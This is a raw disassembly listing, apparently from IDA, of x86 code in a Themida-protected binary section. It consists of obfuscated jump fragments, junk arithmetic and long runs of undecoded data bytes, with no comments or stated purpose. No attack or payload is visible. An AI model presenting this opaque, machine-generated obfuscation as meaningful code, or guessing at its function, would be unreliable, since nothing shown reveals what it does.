		dd 5F545704h, 4C781h, 68530000h, 4, 0D633E95Bh,	0E957FFFFh
		dd 1096h, 45DAEB81h, 0E38135DFh, 4BA07513h, 4303EBC1h
		dd 0CE1C381h, 0D3015826h, 0D821E95Ah, 0C159FFFFh, 21E906EEh
		db 25h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EDAFF:				; CODE XREF: Themida_:005F5218j
		dec	ecx
		jmp	loc_5F52F7
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 51h
		dd 0F7079EB9h, 20BD553Fh, 8108222Bh, 2B2386EDh,	3B48E9C8h
		dd 77FF0000h, 59669D1Ch, 9C2414D2h, 0FFC789E9h,	241C8BFFh
		dd 185DE9h, 0BF57AD00h,	4D790CFDh, 47BAF781h, 0BD555207h
		dd 11E857AFh, 0D104E5C1h, 68DDF7EDh, 9E7h, 906E9h, 4BEB8100h
		dd 0C120125Fh, 0EB8106EBh, 0FFFFFFFFh, 0FFE17EE9h, 24248BFFh
		dd 0E99CC83Bh, 0FFFFC73Eh
; ---------------------------------------------------------------------------


loc_5EDB78:				; CODE XREF: Themida_:005F3137j
		sub	ebp, 59AE689Ch
		pop	edx
		jmp	loc_5F4E07
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0B07E9h, 0C3FBD00h, 0C5310F81h, 55ECE9h
		dd 24348900h, 2434FF5Bh, 0E389535Eh, 4C381h, 0BF570000h
		dd 4, 3F83E9h, 24048B00h, 4C481h, 68660000h, 896636A3h
		dd 0CAE92414h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EDBCB:				; CODE XREF: Themida_:005F52FAj
		mov	esi, 7C435FD1h
		jmp	loc_5EEC11
; ---------------------------------------------------------------------------


loc_5EDBD5:				; CODE XREF: Themida_:005EBA4Ej
		add	ecx, 4
		add	ecx, 2
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_5EA2B6
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 13h
		dd 509211A9h, 52E8E952h, 2D400000h, 1, 83EC3705h, 2F61E9F2h
		dd 3C330000h, 243C3124h, 5C243C33h, 240C8B66h, 4D1568h
		dd 243C8900h, 0BA52E789h, 3F175CEBh, 0EAC1D2F7h, 42EA8107h
		dd 0E90181D1h, 7C97h, 88437FB8h, 1CBF576Fh, 21563475h
		dd 0D0F75FF8h, 1CF75040h, 55D2E924h, 0EC830000h, 24148904h
		dd 5D1A9068h, 54315A0Dh, 72E90424h, 30000088h, 25E7E9FEh
		dd 0C7830000h, 243C8704h, 2EC815Ch, 66000000h, 68240C89h
		dd 736Fh, 0B4240489h, 7EC480FBh, 6833CC80h, 7B18h, 0FFD848E9h
		dd 0B95150FFh, 7FF1165Dh, 4FBC181h, 0E9C1302Dh,	0F4D4E903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EDCB2:				; CODE XREF: Themida_:005F03E1j
		push	62CCh
		mov	[esp], ebx
		mov	ebx, 6F5C7392h
		jmp	loc_5EC08B
; ---------------------------------------------------------------------------


loc_5EDCC4:				; CODE XREF: Themida_:005F5CC2j
		mov	ebx, 0F3C6DEEh
		sub	ebx, 6B5471ABh
		and	ebx, 216C1A63h
		sub	ebx, 2164183Fh
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		mov	ecx, 691FC510h
		mov	ebx, ecx
		pop	ecx
		add	esi, 50564F9Eh
		sub	esi, ebx
		sub	esi, 50564F9Eh
		pop	ebx
		and	ebx, esi
		jmp	loc_5F4B01
; ---------------------------------------------------------------------------
aUs		db 'U^',0
		align 4
		dd 4C781h, 3C870000h, 24E95C24h, 0BA000028h, 7A9B4519h
		dd 4B8EA81h, 0E2814CCBh, 63376B12h, 68D2F7h, 81000000h
		dd 3F2E242Ch, 0C3E94233h, 8900005Eh, 15A5EF5h, 0ADE95DEFh
		dd 89000068h, 1468241Ch, 5B26BE7Ch, 5CC9F381h, 0C3816B85h
		dd 0B2C4DF27h, 34FFD921h, 0EC815B24h, 4, 89240C89h, 4EC81E1h
		dd 89000000h, 31E9241Ch, 8100002Eh, 59B41DEAh, 5AD62928h
		dd 3A5685Fh, 34890000h,	2434FF24h, 0FF2434FFh, 575F2434h
		dd 0C781E789h, 4, 8704C783h, 815C243Ch,	4C4h, 0FEE95600h
		dd 50FFFFCAh, 9B60DBB8h, 58C20974h, 0B951EAD1h,	5F8D3492h
		dd 15E18149h, 83475A15h, 0DEE9FFC1h
		db 76h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EDDE3:				; CODE XREF: Themida_:005ED1B3j
		pop	eax
		push	dword ptr [esp]
		jmp	loc_5F1C70
; ---------------------------------------------------------------------------


loc_5EDDEC:				; CODE XREF: Themida_:005F5ED0j
		push	edi
		jmp	loc_5EE675
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 5AF408BBh, 685FF809h, 7D39h,	0BE243489h, 46E201E6h
		dd 428DC681h, 0EE8100CEh, 37D96F1Bh, 4D1EC681h,	0EE817596h
		dd 7FFD6C2Ah, 535F681h,	0F6817509h, 85D0A43Bh, 0E95EF001h
		dd 1A6Dh, 1FB8505Bh, 81641F31h,	8C5165C3h, 0E9C3291Eh
		dd 6859h, 0E9243C33h, 8602h, 0E9EE315Dh, 0FFFFE442h, 7B206866h
		dd 240C8966h, 0C800E8B1h, 2DE95966h, 68FFFFDAh,	3BAEh
		dd 5B241489h, 0FFF738E9h, 4EC83FFh, 0E9240489h,	54F6h
		dd 9D1C77FFh, 0D3665966h, 0E99C2414h, 0FFFFC422h, 6628F3BEh
		dd 0FC6816Ah, 299599D7h, 2434FFF2h, 5B66E95Eh, 4890000h
		dd 48B5424h, 4C48324h, 0FBAAE956h, 0E9ADFFFFh, 10B2h
; ---------------------------------------------------------------------------


loc_5EDEC0:				; CODE XREF: Themida_:005ECA61j
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], esi
		push	ebp
		jmp	loc_5F03BA
; ---------------------------------------------------------------------------
		dw 514Bh
		dd 592951B9h, 0E9814170h, 27C330FCh, 3143E181h,	0F3E90755h
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EDEEF:				; CODE XREF: Themida_:005F1377j
		mov	[eax], edx
		jmp	loc_5F5C3A
; ---------------------------------------------------------------------------
		dw 4B04h
		dd 6EB9E9h, 24048300h, 0BE565A04h, 4, 6A9FB850h, 0E0C128CFh
		dd 4484E906h, 0F2680000h, 5D7D8D38h, 0D50F581h,	0EE89551Eh
		dd 81242C8Bh, 4C4h, 46E6D100h, 7199EE81h, 0E6E96F4Ch, 8300007Fh
		dd 1C8904ECh, 2474FF24h, 48F5B04h, 52505C24h, 20BAh, 0E9D08900h
		dd 0FFFFF040h, 505AD530h, 0E5004DB4h, 80D5F658h, 0F58052EDh
		dd 24F58014h, 0FFEFCAE9h, 5BDE29FFh, 0F5A2E956h, 0F029FFFFh
		dd 0E9F8015Eh, 18E4h, 0E95DEF31h, 0FFFFC673h, 0C149D1F7h
		dd 0C98105E1h, 469777E9h, 7E6EBB53h, 0E3817A06h, 5D140C18h
		dd 81D3F743h, 34D38CC3h, 0E9D929ECh, 60EEh, 0F0E9E389h
		db 59h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EDFBB:				; CODE XREF: Themida_:005EB69Ej
		push	esi
		push	6B38h
		mov	[esp], edi
		mov	edi, 4C550C96h
		sub	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		pop	ebp
		push	edx
		mov	edx, 78915DBAh
		dec	edx
		not	edx
		neg	edx
		jmp	loc_5EECDF
; ---------------------------------------------------------------------------
		dd 0EC7DE951h, 26BDFFFFh, 8142AC50h, 135996F5h,	7AC5812Fh
		dd 0E9640F65h, 0FFFFD5A2h, 24048B66h, 1BF568h, 24148900h
		dd 4D76E9h, 0C8B6600h, 62E06824h, 14890000h, 815A5424h
		dd 4C2h, 0B9515700h, 52CC682Eh,	0FFE9CF89h, 80FFFFF2h
		dd 0C68001C6h, 25B050F9h, 0FE240F04h, 0FFDF24E9h, 0C8B66FFh
		dd 772D6824h, 0C890000h, 6A9DE924h, 680000h, 0E9000000h
		dd 0FFFFDE70h, 24048B66h, 4E1068h, 2C0E900h, 1C870000h
		dd 0EC1AE924h, 0DEF7FFFFh, 0FD49F681h, 0F501BE33h, 4EC815Eh
		dd 0E9000000h, 616Eh, 0E93877FFh, 4F61h, 0E99C5166h, 0FFFFC21Ah
		dd 8704EF83h, 895C243Ch, 60E92404h
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EE0AB:				; CODE XREF: Themida_:005F6547j
		mov	ebp, 4F3E41BCh
		jmp	loc_5ED804
; ---------------------------------------------------------------------------
		db 52h,	2 dup(0BAh)
		dd 55361564h, 0D6483DBDh, 84F58101h, 4D60E97Fh,	0D484BB53h
		dd 0DD01E9E7h, 5DEA315Bh, 2D8F281h, 0D0297C60h,	0E9F8015Ah
		dd 2610h, 0E94077FFh, 0EBBh, 0EE81D6F7h, 0E9992DDDh, 6AE2E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EE0F9:				; CODE XREF: Themida_:005EB8BDj
		pop	ebx
		add	esp, 4
		push	770Bh
		jmp	loc_5F6291
; ---------------------------------------------------------------------------
		dw 8152h
		dd 2E0F2404h, 815E366Fh, 6F2E0FEEh, 281BE936h, 34FF0000h
		dd 0C4835A24h, 2BA5204h, 81000000h, 1540B4C6h, 0E80CE951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EE136:				; CODE XREF: Themida_:005F0891j
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		sub	eax, 60A60E16h
		jmp	loc_5F1988
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 4
		dd 0E9000000h, 72D2h, 4C25BB53h, 1CE9300Ah, 5B000067h
		dd 0F3EB80h, 17F5E9F3h,	0C6890000h, 8124048Bh, 4C4h, 158AE900h
		dd 0BB530000h, 4E34099h, 0FFF9D0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5EE189:				; CODE XREF: Themida_:005F3B9Cj
		mov	al, dl
		mov	cl, al
		pop	eax
		jmp	loc_5ED64B
; ---------------------------------------------------------------------------
		db 81h
		dd 0DAC189C6h, 0E9F7298Ah, 3C92h
; ---------------------------------------------------------------------------


loc_5EE1A0:				; CODE XREF: Themida_:005F4B7Fj
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_5EEA01
; ---------------------------------------------------------------------------


loc_5EE1AD:				; CODE XREF: Themida_:005ECFE0j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		push	esi
		mov	esi, esp
		push	5C09h
		mov	[esp], edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		add	esi, 4
		push	esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5F4EB2
; ---------------------------------------------------------------------------
		dd 405h, 87E95500h, 0D00007Ah, 1D5209F6h, 205D8F7h, 17FFA40h
		dd 24048BC7h, 0E904C483h, 0FFFFDB7Bh
; ---------------------------------------------------------------------------


loc_5EE220:				; CODE XREF: Themida_:005EB21Bj
		mov	ebp, [esp]
		push	edx
		push	esp
		jmp	loc_5F4D3A
; ---------------------------------------------------------------------------


loc_5EE22A:				; CODE XREF: Themida_:005EEC21j
		add	ebp, 216E3801h
		pop	ecx
		add	ebp, eax
		add	ebp, 72D589Eh
		mov	eax, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		sub	[esp], al
		pushf
		jmp	loc_5F0EE3
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0BAh
		dd 8142FE44h, 666475CEh, 4BBF5735h, 17B5825h, 0F6815FFEh
		dd 0F3568A4Eh, 525EF501h, 0F4602FBAh, 2A78E949h, 4BA0000h
		dd 52000000h, 0E29BD55h, 7DBA03A0h, 296C0E59h, 0D6295DEAh
		dd 0C600E95Ah, 8604FFFFh, 7AE9E800h, 33FFFFD3h,	248B241Ch
		dd 686FE924h, 0E32D0000h, 0E93D5A1Dh, 13Ch, 7659E95Bh
		dd 1C8B0000h, 0E2895224h, 4C281h, 0C2830000h, 24148704h
		dd 4BF575Ch, 29000000h,	34875FFEh, 24248B24h, 0E9241C89h
		dd 27C3h, 4C381h, 0C3810000h, 4, 0E9241C33h, 0FFFFD684h
		dd 55E18951h, 6456E9h, 51E9D100h, 308BE9h, 24148900h, 2323B850h
		dd 0C28934F2h, 90DE9h, 5EF73100h, 1944BD55h, 0E5812E8Fh
		dd 38753031h, 44EBE945h, 1C890000h, 63FDE924h, 14890000h
		dd 2C6824h, 575A0000h, 0FFEC71E9h, 0EB8159FFh, 0E9DFD68Fh
		dd 22E9D829h, 6600004Ah, 8124048Bh, 4ECh, 240C8900h, 0E956E189h
		dd 4C42h, 80C7ED80h, 0E5C07EF5h, 0F4C58005h, 0F3E9EB00h
		dd 5FFFFECh, 4B386661h,	242468h, 243C8900h, 75BE5655h
		dd 89579409h, 56BBE9F5h, 4050000h, 0E9000000h, 45DBh
; ---------------------------------------------------------------------------


loc_5EE3A0:				; CODE XREF: Themida_:005EC7EEj
		mov	ebp, 0D1652B74h
		add	ebp, 59AE689Ch
		jmp	loc_5F3135
; ---------------------------------------------------------------------------
		dd 56242C89h, 8A6F8CBEh, 0F0E68152h, 0E9691721h, 0FFFFE218h
		dd 8904EC83h, 11E9242Ch, 6600000Bh
		db 8Bh,	4, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		push	ebp
		mov	ebp, 61903368h
		not	ebp
		sub	ebp, 190D31AFh
		jmp	loc_5F51FF
; ---------------------------------------------------------------------------
		dd 745DEC2Dh, 6F263577h, 94E90216h, 8100004Ch, 937A26F1h
		dd 59CA2964h, 148BD001h, 0CD90E924h, 0E0C1FFFFh, 0A6054802h
		dd 31664135h, 4BE958C7h, 8100004Dh, 4C7h, 4EC8100h, 89000000h
		dd 0E9572434h, 7A46h, 31243433h, 34332434h, 79E95C24h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5EE447:				; CODE XREF: Themida_:005EFCDDj
		add	esp, 4
		jmp	loc_5EBFC1
; ---------------------------------------------------------------------------
		dw 0DFF6h
		dd 8007E7C0h, 36E9FEE7h, 89FFFFE9h, 0D6BB241Ch,	927A47Dh
		dd 9C685BDDh, 89000064h, 0B5E92404h, 87FFFFF4h,	0BAC581CDh
		dd 5267686Eh, 5789EA89h, 0E2E95A24h, 89FFFFF4h,	0BB535FF9h
		dd 55EB7CA2h, 0A7E9DBF7h, 66000018h, 0DF0AE945h, 0C581FFFFh
		dd 47A5784h, 0E957C501h, 0FFFFC23Eh, 0BB53h, 0CB010000h
		dd 8B5B0303h, 8951240Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 26E95A5Ch, 8BFFFFC6h, 0C481243Ch, 4,	0BA52C301h, 55626BACh
		dd 6B0F281h, 0D3010275h, 27E4E9h, 0E9EE8900h, 2330h
; ---------------------------------------------------------------------------


loc_5EE4FC:				; CODE XREF: Themida_:005F485Dj
		pop	edi
		add	eax, 769F1BB9h
		add	eax, edx
		jmp	loc_5EF3C6
; ---------------------------------------------------------------------------
		db 0BFh, 66h, 7Eh
		dd 0C14F6640h, 0EC8305E7h, 240C8904h, 4EC81h, 4890000h
		dd 5938B824h, 0E8D1003Ch, 264E2D25h, 0F3BB5329h, 81267469h
		dd 73228EE3h, 0E9DBF723h, 0FFFFC5E2h, 9D1C77FFh, 14D35966h
		dd 67E99C24h, 0DFFFFBDh, 794232E6h, 0A737C505h,	1A612D63h
		dd 0A1E970BBh, 8900005Eh, 4EC81E0h, 89000000h, 4B9240Ch
		dd 0E9000000h, 2344h, 24348B5Ch, 0E904C483h, 472Fh, 0C1D3F75Bh
		dd 0EBC105EBh, 50EB8102h, 89018B1Dh, 0D3895BDAh, 8124148Bh
		dd 4C4h, 0A2EB8100h, 1314632h, 0A2C381FBh, 88314632h, 2434FF03h
		dd 0E689565Bh, 4C681h, 39680000h, 89000047h, 0C3E92404h
		dd 89FFFFD3h, 3481243Ch, 1937CD24h, 27E95B05h
		db 0C6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EE5DB:				; CODE XREF: Themida_:005F0690j
		sub	dword ptr [esp], 14097B27h
		jmp	loc_5F3C06
; ---------------------------------------------------------------------------
aIxsR		db 'R',0
		align 2
		dw 0EC81h
		dd 4, 54241489h, 4BD555Ah, 81000000h, 797340C2h, 81EA011Bh
		dd 797340EAh, 0C2835D1Bh, 70B46804h, 14890000h,	2474FF24h
		dd 24148B04h, 81E18951h, 4C1h, 44BB5300h, 8164A600h, 165BCFF3h
		dd 87EB8115h, 171B05Bh,	0C875BD9h, 48F5C24h, 24248B24h
		dd 2117B850h, 0BE561BEAh, 70F81BC4h, 8247429h, 6907E95Eh
		dd 0D9310000h, 59C8215Bh, 0FF1C77FFh, 81E92434h, 5D00006Ah
		dd 5687E9h
		db 0
; ---------------------------------------------------------------------------


loc_5EE675:				; CODE XREF: Themida_:005EDDEDj
		mov	edi, 14D632F2h
		xor	edi, 57803D03h
		dec	edi
		xor	edi, 0B7770DEh
		jmp	loc_5EB4BC
; ---------------------------------------------------------------------------


loc_5EE68C:				; CODE XREF: Themida_:005EA46Fj
		xchg	ebp, [esp]
		jmp	loc_5F0361
; ---------------------------------------------------------------------------
		dd 24048F54h, 0FFE6ECE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5EE69D:				; CODE XREF: Themida_:005EDA16j
		mov	edx, [esp]
		jmp	loc_5EFD05
; ---------------------------------------------------------------------------
aQsQ		db 'QQ',0
		db 0
; ---------------------------------------------------------------------------


loc_5EE6AB:				; CODE XREF: Themida_:005EB1F7j
		xor	ecx, eax
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		jmp	loc_5F3D64
; ---------------------------------------------------------------------------
		dd 5E2434FFh, 8704C483h, 248B243Ch, 48B6624h, 4EC8324h
		dd 68241C89h, 506h, 0E9242489h,	0FFFFEE07h, 0F66F1F6h
		dd 6866CCB6h, 896648FBh, 0F66240Ch, 95E9C8B6h, 28FFFFF9h
		dd 66922CD0h, 34B25253h, 0E931F280h, 1A5Ah, 4C483h, 1665E9D8h
		dd 0E7890000h, 7B9EBB53h, 4B4B1BFDh, 8102E3C1h,	0AE29CEF3h
		dd 0EE0EE943h, 3C89FFFFh, 2623E924h, 0E95D0000h, 0E99h
		dd 4C481h, 0E8280000h, 3DE99C04h, 5FFFFFC1h, 7B36C681h
		dd 1C8B25DDh, 4C48124h,	87000000h, 665C2434h, 68240C8Bh
		dd 2851h, 54241489h, 0E92434FFh, 56D6h,	81E38953h, 4C3h
		dd 0FEBE5600h, 81286807h, 0C04D54EEh, 3E6C12Fh,	0D54CEE81h
		dd 0C381C53Dh, 1A3A4FCFh, 52E9F329h, 8B000067h,	68E92434h
		dd 0BB000014h, 5AED3BB0h, 8904EC83h, 90BF243Ch,	0E9145259h
		dd 495Fh, 54240489h, 8324048Bh,	0F0E904C4h, 89FFFFE6h
		dd 5D54242Ch, 70F7B850h, 742D4014h, 0C155B20Bh,	0DFE903E8h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5EE7E7:				; CODE XREF: Themida_:005F004Cj
		add	ecx, 8E476A69h
		push	esi
		mov	esi, ecx
		mov	ebx, esi
		jmp	loc_5F2811
; ---------------------------------------------------------------------------
		db 68h
		dd 1C5Ch, 0E9240C89h, 6FDCh, 4C58158h, 87000000h, 0FF5C242Ch
		dd 34FF2434h, 0EC835824h, 24048904h, 4055854h, 83000000h
		dd 0EC8304C0h, 24048904h, 42474FFh, 0FFEFFDE9h,	0F1015CFFh
		dd 0FFD989E9h, 0D830ACFFh, 741FE9h, 81E98700h, 50417CC1h
		dd 5E9C160h, 6F80BB53h,	0EBC128BCh, 75EB8107h, 0E95F6A6Ah
		dd 0FFFFC155h, 24048B66h, 5585450h, 4, 42Dh, 0AF1E900h
		dd 0D2F70000h, 36E4C281h, 0BF57012Ch, 3E643A8Ah, 0E95FFA01h
		dd 0FFFFD9B7h, 4C781h, 0C7810000h, 4, 5C243C87h, 0FFD608E9h
		dd 0C18159FFh, 38AB3C7Ch, 0AC0BC181h, 0C8895B5Dh, 0FFBD7DE9h
		dd 4B5668FFh, 14890000h, 0E789E924h, 0E2C1FFFFh, 0E2BE5604h
		dd 0F72F552Ch, 0E7EE81D6h, 3183F054h, 7AE95EF2h, 5FFFFFE7h
		dd 0E9243487h, 2BACh, 8BB151h, 0B55159CBh, 54F58010h, 0E828B904h
		dd 459B92Ch, 2CD82890h,	7C2CE990h, 0B5C0000h, 94840FC9h
		dd 8100002Bh, 4ECh, 24348900h, 0E952E689h, 1553h, 68E16866h
		dd 81665E66h, 664C9BE6h, 13C8CE81h, 48A8E9h, 54C68100h
		dd 0E9686E4Bh, 0FFFFF7DEh, 0E9241431h, 6BA7h, 2D79F281h
		dd 535116B8h, 0FFDFB3E9h, 4EC83FFh, 0E9243489h,	3FE9h
		dd 8104EBC1h, 4942BDCBh, 8EBC136h, 5E35C381h, 0DDE91EF8h
		dd 83000077h, 29E904C4h, 1000062h, 0C1835EF1h, 240C8704h
		dd 8124248Bh, 4C2h, 2C28300h, 0E9241433h, 0FFFFFFA4h, 0F77685Dh
		dd 2C890000h, 62BD6624h, 0EDC1660Fh, 0E5816602h, 81663BD2h
		dd 6631B5C5h, 665DE921h, 2719E981h, 0A3BA6652h,	0DAF76664h
		dd 2EAC166h, 66F28766h,	8766D6F7h, 664A66F2h, 0D1AEEA81h
		dd 0E9D02966h, 7C19h
; ---------------------------------------------------------------------------


loc_5EE9E4:				; CODE XREF: Themida_:005EC0B0j
		shl	ebp, 3
		jmp	loc_5EC7BD
; ---------------------------------------------------------------------------
		dd 8324048Bh, 0DE904ECh, 6800002Dh, 0E4C7863h, 0FFED00E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5EEA01:				; CODE XREF: Themida_:005EE1A8j
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_5F3A9A
; ---------------------------------------------------------------------------
		dd 2FBF5755h, 89427BD2h, 6DCFE9FDh, 56680000h, 0E9000042h
		dd 2FF2h
; ---------------------------------------------------------------------------


loc_5EEA28:				; CODE XREF: Themida_:005F3E2Ej
		add	[ebx], ebp
		jmp	loc_5F34B4
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 0DB89E900h, 0F74EFFFFh, 0D0F796DEh, 4EC8196h
		dd 89000000h, 0D9E92414h, 8700000Dh, 895C241Ch,	2BBD242Ch
		dd 0E92F647Fh, 54Ch, 4808E8C1h,	294AB305h, 58C701FFh, 6802EF83h
		dd 3155h, 0FF243C89h, 5F042474h, 0E924048Fh, 662Eh, 32241C30h
		dd 1C30241Ch, 30F33024h, 0E9F330DEh, 5B0Ch, 0E95AD029h
		dd 0FFFFF394h, 0E9243C87h, 0FFFFEC16h, 4FACC181h, 1C8B454Fh
		dd 0DC2BE924h, 0C501FFFFh, 0C3E1E958h, 0FB01FFFFh, 0D3C3815Fh
		dd 292A9901h, 0D3BD55F3h, 0E92A9901h, 7A36h, 207F83ADh
		dd 0FE840F00h, 83000075h, 1C8904ECh, 27B4E924h,	0C7E90000h
		dd 0F7FFFFB7h, 0FAE950D7h, 81000049h, 0FFFFFFEDh, 296E9FFh
		dd 8B660000h, 99E9240Ch
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5EEB0B:				; CODE XREF: Themida_:005F28D8j
		mov	ebp, 2D2C75B5h
		shl	ebp, 7
		add	ebp, 0C3B6A519h
		xor	eax, ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5F3D04
; ---------------------------------------------------------------------------
aZstSV		db 'ZST[v',0
		dd 0E32D4800h, 0E912EA31h, 2D10h, 0FFB771E9h, 4C481FFh
		dd 0E9000000h, 2CBh, 4C481h, 55560000h,	4F1285BDh, 1289BE22h
		dd 0EE29224Fh, 56242C8Bh, 74ADE954h, 89560000h,	4C681E6h
		dd 53000000h, 4BBh, 5BDE2900h, 2474FF56h, 75C4E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5EEB8A:				; CODE XREF: Themida_:005F4EF0j
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_5F1A4D
; ---------------------------------------------------------------------------


loc_5EEB97:				; CODE XREF: Themida_:005F0404j
		not	edx
		push	ecx
		mov	ecx, 1827AEB9h
		xor	edx, ecx
		pop	ecx
		mov	ebp, edx
		mov	edx, [esp]
		jmp	loc_5F53DC
; ---------------------------------------------------------------------------
		dd 64BE565Bh, 814CDB56h, 377C61CEh, 6E6C140h, 0C681DEF7h
		dd 247659C6h, 7FBAEE81h, 0F6815221h, 8BCA4031h,	15EF129h
		dd 0FDC181C1h, 8819BF00h, 1C8B5919h, 4C48324h, 0FFB6CDE9h
		dd 4C483FFh, 2C9BE94Bh,	2C8B0000h, 4C48324h, 8145D5F7h
		dd 697F21EDh, 4EC8195h,	89000000h, 5D5E242Ch, 196FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5EEC11:				; CODE XREF: Themida_:005EDBD0j
		sub	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ebp, 216E3801h
		sub	ebp, ecx
		jmp	loc_5EE22A
; ---------------------------------------------------------------------------
		dw 4A58h
		dd 2320F281h, 616834F2h, 89000042h, 43E92434h, 89FFFFC6h
		dd 74FF242Ch, 2C8B0424h, 74E9E924h, 0F75A0000h,	17C781D7h
		dd 0F717A47Ch, 0A9F781D7h, 0E997297Bh, 0FFFFE7D9h, 184459B8h
		dd 0D6BD056Dh, 0FFE9B38Bh, 5FFFFFF4h, 0C6D6D72Dh, 34815051h
		dd 0DE4A6A24h, 0F2815A26h, 26DE4A6Ah, 47C7E9h, 23CD8100h
		dd 81068267h, 0AD7FE3CDh, 3EDC120h, 0EFF8ED81h,	0E95016DFh
		dd 72C7h, 2434875Fh, 8124248Bh,	0D42873C7h, 23BE5624h
		dd 29126C02h, 24348BF7h, 53BFE9h, 51E94700h
		db 5Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EECC7:				; CODE XREF: Themida_:005EB312j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_5F0141
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 4B27BF24h, 5EE954FCh
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5EECDF:				; CODE XREF: Themida_:005EDFDFj
		xor	edx, 6B517FEDh
		jmp	loc_5EBCB8
; ---------------------------------------------------------------------------


loc_5EECEA:				; CODE XREF: Themida_:005EA631j
		xor	[esp+4], ebp
		pop	ebp
		mov	eax, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		push	3EEh
		jmp	loc_5F28D5
; ---------------------------------------------------------------------------


loc_5EED12:				; CODE XREF: Themida_:005F0C5Aj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5F190C
; ---------------------------------------------------------------------------
		db 20h
		dd 241C8BD8h, 5104C483h, 0C181E189h, 4,	5104E983h, 42474FFh
		dd 24048F59h, 8924248Bh, 1968240Ch, 8900003Bh, 7AE92424h
		dd 5800003Ch, 51A6C780h, 0EF30F9B5h, 5BFE3059h,	0F680DEF6h
		dd 6CB6523Fh, 285AF028h, 8B6C04F0h, 0C4832414h,	6A61E904h
		dd 0E95F0000h, 0FFFFD09Ch, 4EC8358h, 0FF243489h, 5E042474h
		dd 8B24048Fh, 0A30F2424h, 0E99C2404h, 5F0Ah, 7EF76852h
		dd 0E95A57B2h, 0FFFFFB22h, 710DE952h, 34890000h, 53E68924h
		dd 4BBh, 0CA03E900h, 0BD55FFFFh, 96B6736h, 1137ED81h, 0EE29F2A5h
		dd 23A9E9h, 48B6600h, 4EC8324h,	89240C89h, 4EC83E1h, 0BB241C89h
		dd 307C3060h, 2B17C381h, 9BE90DFEh, 89000003h, 62BE56E1h
		dd 4E0A5036h, 66F68146h, 10A5036h, 0BE565EF1h, 2, 30E1C181h
		dd 0C1E938F9h, 8F000029h, 9FE92404h, 2900002Dh,	69405D8h
		dd 93682897h, 0E9000030h, 2BD2h, 405h, 4C08300h, 0E9240487h
		dd 0FFFFEB84h
; ---------------------------------------------------------------------------


loc_5EEE3C:				; CODE XREF: Themida_:005F0919j
		mov	edi, 3F975E48h
		or	edi, 0C552B35h
		dec	edi
		sub	edi, 3FD77EFCh
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5EBD18
; ---------------------------------------------------------------------------
		dd 0C78077B7h, 0C8ECE981h, 0D901FFFFh, 5A9C181h, 335B463Bh
		dd 0C31240Ch, 240C3324h, 0FFE0E7E9h, 525166FFh,	5CE9B3B2h
		dd 68000019h, 6ADh, 0E9241C89h,	355Ch, 22EE95Dh, 8B660000h
		dd 81522404h, 4ECh, 24248900h, 4240481h, 8B000000h, 0E9512414h
		dd 0FFFFE3B1h, 7B9268h,	240C8900h, 31FAE957h, 814F0000h
		dd 0BF8958F7h, 0E9FA297Eh, 0FFFFD9B6h
; ---------------------------------------------------------------------------
